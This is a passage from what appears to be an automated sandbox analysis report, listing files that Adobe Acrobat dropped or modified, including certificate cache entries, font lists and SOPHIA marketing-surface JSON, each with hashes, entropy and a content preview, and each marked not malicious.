Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7602939855181576
Encrypted:	false
SSDEEP:	3:kkFklNaToklfllXlE/HT8kgpzXNNX8RolJuRdxLlGB9lQRYwpDdt:kKDT0T8bzdNMa8RdWBwRd
MD5:	0A84C72C8B6678D40DA21F8F8C759190
SHA1:	2178697247991375FA7BDDA156F5AA9D264E3B68
SHA-256:	743A6A2582AA087787D2B9209E91944C504317D52FB8D87B5D59D82A1E7EBBF7
SHA-512:	312D57BE86DA1B4BCA02FA8AE21EA61EEFCFE67189D4AE2A4F8F5B34FF27EB22D1C801F4779236DC43907B4BE5AFA340149323932940360C31EC34A24200EBFD
Malicious:	false
Preview:	p...... ..........6)Fg..(....................................................... ..........W....EC..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2441017925653757
Encrypted:	false
SSDEEP:	6:kKB0+n9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:6+2DImsLNkPlE99SNxAhUe/3
MD5:	9B2862C752DE8C9009373CB3C2430B0B
SHA1:	A8EF4107815C9A67F683CCBF4240161AD7639821
SHA-256:	740747D7EADFA72451ACABE4843EE55E7708ACEE773C659DA79415F729470C3C
SHA-512:	CA9C0FC2FC0E3B4EDB04ED3442267631E7F1943BDB193C03AE177FAE458E93EF088F060A843376AFD4A5CE17A7AAA2D2F76B68B642D71386C6C97B5ED659F8E6
Malicious:	false
Preview:	p...... ........r.fMFg..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3376

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3376

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3266636488766075
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvDV/YiX2JU+FIbRI6XVW7+0YqSUoAvJM3g98kUwPeUkwRe9:YvXKXZzXGYpW7SGMbLUkee9
MD5:	039C425AAB214F226D99B9EC34BC624C
SHA1:	77370D132D64EBC2BCADBD4D7D16A42C4811E756
SHA-256:	BCE9074CA6FB3D0D28C03AD05B6A1D22A6CA9300DF24EEFF72E012953DB88C70
SHA-512:	F98EFB3C8AB5FB8320BE90F7EA7C2308789C22F538B5F90C36BC5C12374A91A27E4D2C0D805437774D4153781B5A99545ED6D1CA8C900C3C6BA6CBF62752DFEF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3edf0002-5aab-485d-b02b-96c9403c1e4a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737115871213,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.264935586140955
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvDV/YiX2JU+FIbRI6XVW7+0YqSUoAvJfBoTfXpnrPeUkwRe9:YvXKXZzXGYpW7SGWTfXcUkee9
MD5:	B40E7AEF3FB5456852D189CBEA056710
SHA1:	E06660AD03665551B15D65EF9769D36BF989BC1C
SHA-256:	1F0D1A4E82C222A6211BFBBEA83A1B809B5C3DFD47389C864166561C426F0EEA
SHA-512:	182448C72403B9B283972BD7D6E09603000EB1FEEC259A13CCE99C5E5AB2DD00C1163A68A825C173B44092EA24AA58368756BFF28AE284D5E82EC5F278856860
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3edf0002-5aab-485d-b02b-96c9403c1e4a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737115871213,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.24348390266696
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvDV/YiX2JU+FIbRI6XVW7+0YqSUoAvJfBD2G6UpnrPeUkwRe9:YvXKXZzXGYpW7SGR22cUkee9
MD5:	E096486A7AD9C72854F3A713AA6FF3A9
SHA1:	88F02C0EB0CD7A5A2B4086EDB289A66162B0CD84
SHA-256:	7FFC81A54E0D42A8114A811DFEB858F3F28AD82405480E92CD4C8D4F979A76F1
SHA-512:	1DAC5733C1EAE6EDA6107828F7712596E0403B3C67ECD5D739ED3F22EDBC678AB4A56788BAF8A94F7FA5FC3D5F16F03B3381AE69EFF455F58B95110088539F2D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3edf0002-5aab-485d-b02b-96c9403c1e4a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737115871213,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3042688164449086
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvDV/YiX2JU+FIbRI6XVW7+0YqSUoAvJfPmwrPeUkwRe9:YvXKXZzXGYpW7SGH56Ukee9
MD5:	E0239D394A4B02161DBF576D628C7AEA
SHA1:	59B334711025E85BBCD1B340861B4C95C36FF0F9
SHA-256:	CA46DABC92B22B7D93DAAB5191E728C3C456C4DC9EC73747C38DAA6E06929D00
SHA-512:	F86B273623E7B65C331146E07508C99E6DD1A53602B8979066597DA330B2750E44CD743744E0611DEFA39E7307CFCE9BF25D67E2A16567A71A288206DB47395E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3edf0002-5aab-485d-b02b-96c9403c1e4a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737115871213,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685249557915257
Encrypted:	false
SSDEEP:	24:Yv6XtXDivpLgE9cQx8LennAvzBvkn0RCmK8czOCCS5:Yvbvhgy6SAFv5Ah8cv/5
MD5:	8687AB2286AA0B453169E9660BE16646
SHA1:	59B40566FDD0D2735F18A2B307347239B4FF23D8
SHA-256:	B969091112694F3BCCD10BDB3F33944C96A6A91827E4EBB447D409BD7063191B
SHA-512:	2E4ED010694A74DEDCB675FC28C58715DBE5AF88F65C3AE0E8EF71AA077E85C7BCC07763F1F0A919608911FE8008FD4DDCDC9EDF998E2FBF570A36BDF6004D31
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3edf0002-5aab-485d-b02b-96c9403c1e4a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737115871213,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.248175535712429
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvDV/YiX2JU+FIbRI6XVW7+0YqSUoAvJf8dPeUkwRe9:YvXKXZzXGYpW7SGU8Ukee9
MD5:	DE23B7BCDC1C657342EE0B1A4A682BB0
SHA1:	434598EE1FB1EA1787C0FDE5836AD09C9B9BA6B1
SHA-256:	73258DA41E60AA769F76DF9A9670AD08E5AC9EF9D4F8DD1CA4B2417676BB4FF0
SHA-512:	FDBE9E5C16034A42C7AA128B3504DC461F158297E9BC2501D2A2FCD1A8420528423C7A7922D5DF7E1FF1FFED65129E1B0F76F69EF149F3A8CCE02B01A651CA61
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3edf0002-5aab-485d-b02b-96c9403c1e4a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737115871213,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.249972177651967
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvDV/YiX2JU+FIbRI6XVW7+0YqSUoAvJfQ1rPeUkwRe9:YvXKXZzXGYpW7SGY16Ukee9
MD5:	4346F841389886DB0FDE5D57E06E1EE7
SHA1:	4EDE94AD3EDFDAE6B4AE68A034FBCE1A7A796249
SHA-256:	F8BFCDB3C3A0493C4B2758EB16D4E7DC4832B49D0CD063CA28EDC56E657B9E39
SHA-512:	9ABEC91943EEB5905B942F924E317DCAF44215D17A8674DF6AF43AD5CA977DEC9A0A2C540302EEC93A88B1AF8E9584B5116B938FC5FC18B298767BEB819B850F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3edf0002-5aab-485d-b02b-96c9403c1e4a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737115871213,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.268692594900301
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvDV/YiX2JU+FIbRI6XVW7+0YqSUoAvJfFldPeUkwRe9:YvXKXZzXGYpW7SGz8Ukee9
MD5:	667EFC69F193711D5E864DCA99E39B6D
SHA1:	CA27478F115FA1FEF67A143B9A95DDCE97A7694A
SHA-256:	3DF72C005D938D307B301E6853D7DB0D65D5144183827C8D9185B547B1C6B619
SHA-512:	12EF8E0F09E71EF474D24DA1D0738F9F24583F8C61B4D2ABA34F43865A2F5DFDD3F625FEF8C247031F7B726831FE105470D5723E284AA8E065807C1D844EA723
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3edf0002-5aab-485d-b02b-96c9403c1e4a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737115871213,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.276124193095375
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvDV/YiX2JU+FIbRI6XVW7+0YqSUoAvJfzdPeUkwRe9:YvXKXZzXGYpW7SGb8Ukee9
MD5:	E51A2BD9C66DB6C0A6E2C2DC266600A3
SHA1:	5FBC8741E3C9C55313A2F083661DA0F090936DC0
SHA-256:	062394DC987861D0724AAD6297C2065FA655F914FBA62C1EE9A67C4711DD19D1
SHA-512:	91630D8E11268A898827E8194D0836577F0E4F67AA408A7B27F6898AB6D2991EE7C823FDB9212F06ECE1909398FE8999A7291B16C3B1B58220D2A9967DCC6B0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3edf0002-5aab-485d-b02b-96c9403c1e4a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737115871213,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.256147709010312
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvDV/YiX2JU+FIbRI6XVW7+0YqSUoAvJfYdPeUkwRe9:YvXKXZzXGYpW7SGg8Ukee9
MD5:	A383B6269C6998A7B3FFF1D088463FCC
SHA1:	C69F180CD00F325C21659C473E4A5412098444BD
SHA-256:	7DDA8EDB2193D64F2D4DBF1789FA429512F2071616ECCA47910F680BD547FF4C
SHA-512:	867059EEA3C3AA9F65212FBFC8A3A7FFEEA91020428F8B8A3CCCC6FB4E5191F0F7FE2EC97DA0C7F0DF07F36C482C3C421F78BD6F6DD310D20564E4B6A9B1B202
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3edf0002-5aab-485d-b02b-96c9403c1e4a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737115871213,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.241725025384248
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvDV/YiX2JU+FIbRI6XVW7+0YqSUoAvJf+dPeUkwRe9:YvXKXZzXGYpW7SG28Ukee9
MD5:	FE7BD79C2D63F9272D3A249DAA26EBD7
SHA1:	BC2E58ACC69B4122F4B9AE985B61A698B2E673CA
SHA-256:	ED7F1AD9F6F6E292BBCC82D56E2CABA25AF18F85E3DB38E3AC12E59E3A5DD230
SHA-512:	5E6C1EBF501161CB39E049B4CB3CD51A227B450258B7915C667A436CFCC592B1580E7F201C43B4FF4DB255D588E261523BF0A67A3CD2DC2F663488B53ABB7278
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3edf0002-5aab-485d-b02b-96c9403c1e4a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737115871213,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.239996197000256
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvDV/YiX2JU+FIbRI6XVW7+0YqSUoAvJfbPtdPeUkwRe9:YvXKXZzXGYpW7SGDV8Ukee9
MD5:	A1634D3F1EAC5C7B6672E03DD52438F7
SHA1:	493C6E86407FD1AE23863B8974F9710551372AC5
SHA-256:	DAE17E1A3AF6449230ACDC4610E161F920D827773A48BAC1D5F358BC9608D662
SHA-512:	45921CCA606A23CB516BCB39D83A9F5538941030230BF61BC9098E43ADCD311913576AE6E11A2C7B841A67D1FC2230C7F67410AA924D14BA5CF80AECBBF137FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3edf0002-5aab-485d-b02b-96c9403c1e4a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737115871213,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.241358300676489
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvDV/YiX2JU+FIbRI6XVW7+0YqSUoAvJf21rPeUkwRe9:YvXKXZzXGYpW7SG+16Ukee9
